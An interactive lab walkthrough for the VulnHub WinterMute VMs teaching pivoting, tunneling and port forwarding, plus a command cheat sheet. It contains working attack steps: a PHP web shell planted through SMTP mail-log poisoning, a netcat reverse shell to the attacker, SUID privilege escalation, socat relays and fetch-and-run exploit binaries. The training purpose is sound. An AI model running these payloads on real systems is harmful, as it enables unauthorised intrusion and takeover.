Pivoting, tunneling & port forwarding: a hands-on lab

Toggle between the four modes below and watch what actually changes.

Lab Setup — Two Networks, Three Machines

The network topology IS the lesson. Get the two host-only networks wired correctly and pivoting stops being an abstract diagram.

Before you start

WinterMute is a deliberately vulnerable VM released free on VulnHub for legal practice. Running these techniques against anything you don't own or have written permission to test is illegal in most jurisdictions — keep this lab on an isolated, offline virtual network.

Warning: Educational use against your own local WinterMute VMs only.

Download and verify the archive

WinterMute ships as Wintermute-v1.zip (2.4 GB) — both VMs plus the author's setup notes. Verify the hash before importing anything.

Tip: Works better in VirtualBox than VMware, per the author's notes.

Exercise: Verify the archive hash

md5sum Wintermute-v1.zip
# should match: 4BFABB5021B33C2A4AB7A5DB1F17A9ED

sha1sum Wintermute-v1.zip
# should match: 643D14EDCADA7EEF08C66DBD4CF89AABFD6097A3

Two host-only networks, two different subnets

Network #1 holds Kali and Straylight. Network #2 holds Straylight and Neuromancer — reachable only through Straylight.

  1. VirtualBox: File → Tools → Network Manager.
  2. Create a host-only adapter (vboxnet0). Default DHCP is fine.
  3. Create a second one (vboxnet1) on a DIFFERENT subnet — e.g. 192.168.56.0/24 and 192.168.57.0/24.

Warning: Same subnet on both = Kali reaches Neuromancer directly and the whole exercise collapses without you noticing.

Wiring the three machines

Machine Adapter 1 Adapter 2
Kali Network #1 NAT (optional, internet only)
Straylight Network #1 Network #2 — enabled. This makes it the pivot.
Neuromancer Network #2 only Disabled

Verify the topology before touching an exploit

Exercise: Confirm Network #2 is unreachable directly

If step 4 fails as expected: Kali → Straylight → Neuromancer is correctly isolated. If it succeeds, revisit the adapter settings.

  1. Start all three machines.
  2. Kali: ip a — confirm Network #1 address.
  3. ping <straylight_ip> — should succeed.
  4. Try reaching the Network #2 range directly from Kali — should FAIL.

Getting a Foothold on Straylight

Recon, an exposed monitoring tool, a file-read bug, and a mail-log trick that turns into code execution.

Recon

kali:~$ nmap -Pn -sT -sV -sC -p- <straylight_ip>

25/tcp   open  smtp
80/tcp   open  http
3000/tcp open  ppp (ntopng)

Three ports. 3000 is ntopng — a monitoring tool. Start there.

ntopng — default creds

browser → http://<straylight_ip>:3000

Login: admin / admin. Flows tab reveals /freeside/ and /turing-bolo/ — paths a directory brute-force would likely miss.

Arbitrary file read

kali:~$ curl "http://<straylight_ip>/turing-bolo/bolo.php?bolo=/var/log/mail"

<contents of /var/log/mail returned>

bolo= is used directly as a filename, .log appended — classic unvalidated path parameter.

File-read → RCE via mail-log poisoning

kali:~$ telnet <straylight_ip> 25

smtp> MAIL FROM:<[email protected]>

smtp> RCPT TO:<?php echo system($_POST['cmd']); ?>

PHP now sits inside the mail log, waiting to be interpreted.

kali:~$ curl -X POST "http://<straylight_ip>/turing-bolo/bolo.php?bolo=/var/log/mail" --data "cmd=id"

uid=33(www-data) gid=33(www-data)

RCE confirmed. Log poisoning generalizes: any log that (a) accepts attacker text and (b) gets interpreted elsewhere is a candidate — mail, access, and FTP logs are the classic three.

Reverse shell, then stabilize

kali:~$ nc -lvnp 4444

trigger → cmd=nc -e /bin/sh <kali_ip> 4444

connect to [kali_ip] from straylight ... shell caught

straylight$ python3 -c 'import pty;pty.spawn("/bin/bash")'

Ctrl+Z, then on Kali: stty raw -echo; fg — full tty, tab-complete, safe Ctrl+C.

Privesc — a stale SUID binary

straylight$ find / -perm -4000 2>/dev/null

...
-rwsr-xr-x 1 root root  screen-4.5.0

A version number on a SUID binary is always worth checking.

kali:~$ searchsploit screen 4.5.0

Host the matching exploit (python3 -m http.server), wget + chmod +x + run on target → root on Straylight. Check /root/ once you land — a note hints at Neuromancer.

Pivoting to Neuromancer & Taking Root

The module this whole guide exists for: relay through Straylight to reach a machine Kali can never see directly, exploit it, and relocate your shell onto it.

Discovering the second network

straylight# ifconfig

eth1: inet 192.168.57.4

A second NIC — Network #2. Invisible from Kali, visible from here.

straylight# for i in {1..254}; do (ping -c1 192.168.57.$i | grep "bytes from" &); done

straylight# for p in $(seq 1 65535); do (nc -nvzw1 <neuromancer_ip> $p 2>&1 | grep open &); done

nmap likely isn't installed here — netcat loops fill in. Expect a web port, another service, and SSH on a high port.

Building the pivot: a port-forwarding relay

straylight# socat TCP-LISTEN:8080,fork,reuseaddr TCP:<neuromancer_ip>:8080 &

straylight# socat TCP-LISTEN:8009,fork,reuseaddr TCP:<neuromancer_ip>:8009 &

straylight:8080 now silently forwards to neuromancer:8080. Nothing about the traffic changed — only where it's addressed.

Same job, tunneled instead of forwarded

socat needs installing and running on the pivot host, and encrypts nothing. SSH's own local forwarding does the identical job with nothing but a valid login.

socat (used above) SSH local forward (-L)
Encrypts? No Yes
Needs on pivot host socat + a shell to run it from Just a valid login
Command socat TCP-LISTEN:8080,fork,reuseaddr TCP:neuro_ip:8080 & ssh -L 8080:neuro_ip:8080 user@straylight_ip

Exploiting Neuromancer's web app through the relay

straylight# socat TCP-LISTEN:4321,fork,reuseaddr TCP:<kali_ip>:4321 &

Bridges the callback — Neuromancer's shell needs to reach an address IT can see: Straylight's internal IP, not Kali's.

kali:~$ <trigger the Struts2 exploit against straylight:8080, callback → straylight_internal_ip:4321>

Double pivot: one relay carries the exploit in, a second carries the shell back out. Once it lands, your foothold has genuinely relocated — exploitation-based lateral movement (T1210), not credential-based (T1021).

Root on Neuromancer

neuromancer$ uname -a

No compiler on target — compile locally instead:

kali:~$ gcc -o exploit exploit.c && python3 -m http.server 4321

neuromancer$ wget http://<relay_ip>:4321/exploit && chmod +x exploit && ./exploit

uid=0(root) gid=0(root)

Root on Neuromancer. Bonus: its Tomcat config has a password that's encoded, not encrypted — obfuscation isn't security.

What You Just Practiced

The full loop, one more time — and where to go next.

The pattern that just repeated

Enumerate → exploit → escalate → discover a second network → relay through your foothold → exploit and escalate again. A public-facing system trusted by an internal one that isn't directly reachable is one of the most common findings in real internal pentests.

Checking the four concepts landed

  • Port forwarding — the socat relays moving raw traffic Straylight → Neuromancer.
  • Tunneling — the SSH -L equivalent, encrypted, using nothing but a login.
  • Pivoting — treating Straylight as the only route to a network you couldn't otherwise reach.
  • Lateral movement — exploiting Neuromancer through the relay, genuinely relocating your shell (T1210, not T1021).

Next steps

Redo the lab without this guide — the second pass is where it sticks. For something harder, myHouse7 on VulnHub is a multi-subnet variant of the same idea.

Credits

WinterMute was created by creosote, released on VulnHub 5 July 2018, Intermediate difficulty, no buffer-overflow knowledge required — explicitly OSCP-style pivoting practice. All credit for the lab goes to its original author.

Port Forwarding & Tunneling Cheat Sheet

Click any command above — or below — to see what it does. Plus the SSH forwarding modes WinterMute didn't happen to need.

The three SSH forwarding modes

Flag Name Direction Example
-L Local forward Your machine → a destination reachable from the far end ssh -L 8080:neuro_ip:80 user@straylight
-R Remote forward Far end → back to something on your machine ssh -R 4444:127.0.0.1:4444 user@straylight
-D Dynamic forward Whole connection becomes a SOCKS proxy ssh -D 1080 user@straylight

Tip: -R is for when the target can reach your pivot host but you can't add a new inbound listener on it — the same problem the callback relay in Stage 2 solved by hand.

Command Reference

nmap (Recon)

Scans a host for open ports and fingerprints running services.

-Pn skips the host-alive ping check, -sV grabs version banners, -sC runs default scripts, -p- scans all 65535 ports. Often NOT installed on a machine you've compromised — later stages fall back to nc loops instead.

socat (Pivoting)

Relays raw traffic between two endpoints — the core pivoting workhorse.

socat TCP-LISTEN:PORT,fork,reuseaddr TCP:DEST:PORT opens a listener on the pivot host and forwards every connection to a destination it can reach but you can't. Moves bytes unmodified — no encryption, unlike an SSH tunnel.

ssh (Tunneling)

Secure shell — and, via -L / -R / -D, a built-in encrypted tunnel.

-L forwards a local port out to a remote destination, -R forwards a remote port back to your machine, -D turns the connection into a SOCKS proxy. Everything is encrypted, and you only need valid credentials — no separate binary on the target.

nc (Utility)

Netcat — reads and writes raw TCP or UDP connections directly.

-lvnp opens a verbose listener (catches reverse shells). Also useful as a crude port scanner (nc -nvzw1 host port) when nmap isn't available.

curl (Utility)

Sends an HTTP request from the command line.

Used to trigger vulnerable endpoints and POST data without a browser — handy once you're working from a shell.

wget (Utility)

Downloads a file from a URL straight to disk.

Paired with python3 -m http.server: host a file on your attacking machine, wget it on the target. This pattern repeats three times in this lab.

gcc (Utility)

Compiles C source code into a runnable binary.

If the target has no compiler, compile locally instead and transfer the finished binary — architecture permitting.

searchsploit (Recon)

Searches a local, offline copy of Exploit-DB for matching exploits.

Once you've fingerprinted an exact software version, searchsploit <name> <version> checks whether a public exploit already exists — often the fastest path from version number to working code.

telnet (Utility)

Opens a raw, unencrypted connection so you can type a protocol by hand.

Useful for manually speaking a plaintext protocol line-by-line — like typing SMTP commands directly at a mail server.

ifconfig (Recon)

Lists network interfaces and the addresses assigned to them.

The first command worth running on any new shell — often reveals a second, otherwise-invisible network segment, which is what turns a host into a pivot point.